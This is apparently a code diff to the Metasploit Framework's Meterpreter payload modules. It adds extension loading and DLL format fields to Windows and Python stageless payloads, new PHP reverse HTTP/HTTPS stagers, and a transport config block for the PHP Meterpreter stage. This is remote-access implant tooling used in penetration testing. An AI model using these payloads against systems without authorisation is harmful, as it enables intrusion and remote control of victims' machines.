+25,10 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Python_Python ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate_reverse_tcp(opts = {}) @@ -32,6 +36,7 @@ def generate_reverse_tcp(opts = {}) socket_setup << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n" opts[:stageless_tcp_socket_setup] = socket_setup opts[:stageless] = true + opts[:extensions] = (datastore['EXTENSIONS'] || '').split(',') met = stage_meterpreter(opts) py_create_exec_stub(met) diff --git a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb index f3496dee50298..063693181ae58 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_bind_named_pipe(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -57,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 1e0572c956c29..b46c4bdb53bad 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_bind_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -57,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index df9e5b65f68ec..5b8d203f43caf 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -56,6 +56,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_http(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -64,6 +65,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 12b5e66495363..a9a55e0bcb409 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -56,6 +56,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_https(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -64,6 +65,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index b894677c9fec0..4e342fcba40ad 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -50,6 +50,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_ipv6_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -58,6 +59,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 6c4738ee56907..2d871189f9ef3 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -57,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb index f705195f500e5..c363d6106a898 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_bind_named_pipe(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -57,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 090cb171f2e56..b44c60cad72b6 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_bind_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -57,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 0d2ea1cdb42d2..301d13c576c97 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -56,6 +56,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_http(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -64,6 +65,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 08a3c305e6610..a362e8b3d1a41 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -56,6 +56,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_https(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -64,6 +65,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 6dcfc235c56f8..67af334bada30 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -50,6 +50,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_ipv6_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -58,6 +59,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index ca9321ddfdf62..c530b8d0a98dd 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) @@ -57,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/stagers/php/reverse_http.rb b/modules/payloads/stagers/php/reverse_http.rb new file mode 100644 index 0000000000000..21aa2fc32b5df --- /dev/null +++ b/modules/payloads/stagers/php/reverse_http.rb @@ -0,0 +1,27 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Stager + include Msf::Payload::Php::ReverseHttp + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'PHP Reverse HTTP Stager', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseHttp, + 'Stager' => { 'Payload' => '' } + ) + ) + end +end diff --git a/modules/payloads/stagers/php/reverse_https.rb b/modules/payloads/stagers/php/reverse_https.rb new file mode 100644 index 0000000000000..215ce0031534a --- /dev/null +++ b/modules/payloads/stagers/php/reverse_https.rb @@ -0,0 +1,31 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Stager + include Msf::Payload::Php::ReverseHttp + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'PHP Reverse HTTPS Stager', + 'Description' => 'Tunnel communication over HTTPS', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseHttps, + 'Stager' => { 'Payload' => '' } + ) + ) + end + + def generate(_opts = {}) + super({ scheme: 'https' }) + end +end diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb index e8723f3a096ca..8f45ec52d2df8 100644 --- a/modules/payloads/stages/php/meterpreter.rb +++ b/modules/payloads/stages/php/meterpreter.rb @@ -3,9 +3,9 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'securerandom' - module MetasploitModule + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options include Msf::Sessions::MeterpreterOptions::Php def initialize(info = {}) @@ -23,16 +23,47 @@ def initialize(info = {}) ) end + def generate_config(opts = {}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid + + unless opts[:transport_config] + scheme = opts[:scheme] || 'tcp' + if scheme == 'https' + opts[:transport_config] = [transport_config_reverse_https(opts)] + elsif scheme == 'http' + opts[:transport_config] = [transport_config_reverse_http(opts)] + else + opts[:transport_config] = [transport_config_reverse_tcp(opts)] + end + end + + config_opts = { + ascii_str: true, + null_session_guid: opts[:stageless] == true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + stageless: opts[:stageless] == true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + def generate_stage(opts = {}) met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') - uuid = opts[:uuid] || generate_payload_uuid - bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') - met = met.sub('"PAYLOAD_UUID", ""', "\"PAYLOAD_UUID\", \"#{bytes}\"") + # Build the URI from the callback URL if present + unless opts[:url].to_s == '' + opts[:scheme] ||= opts[:url].to_s.split(':')[0] + uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" + opts[:uri] = "#{luri}#{uri}" + end - # Staged payloads need to have a new session GUID - session_guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*').chars.map { |c| '\x%.2x' % c.ord }.join('') - met = met.sub(%q{"SESSION_GUID", ""}, %("SESSION_GUID", "#{session_guid}")) + # Generate the TLV config block containing all transport configuration + config_block = Rex::Text.encode_base64(generate_config(opts)) + met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") if datastore['MeterpreterDebugBuild'] met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|) @@ -42,7 +73,6 @@ def generate_stage(opts = {}) end met.gsub!(/#.*?$/, '') - # met = Rex::Text.compress(met) met end end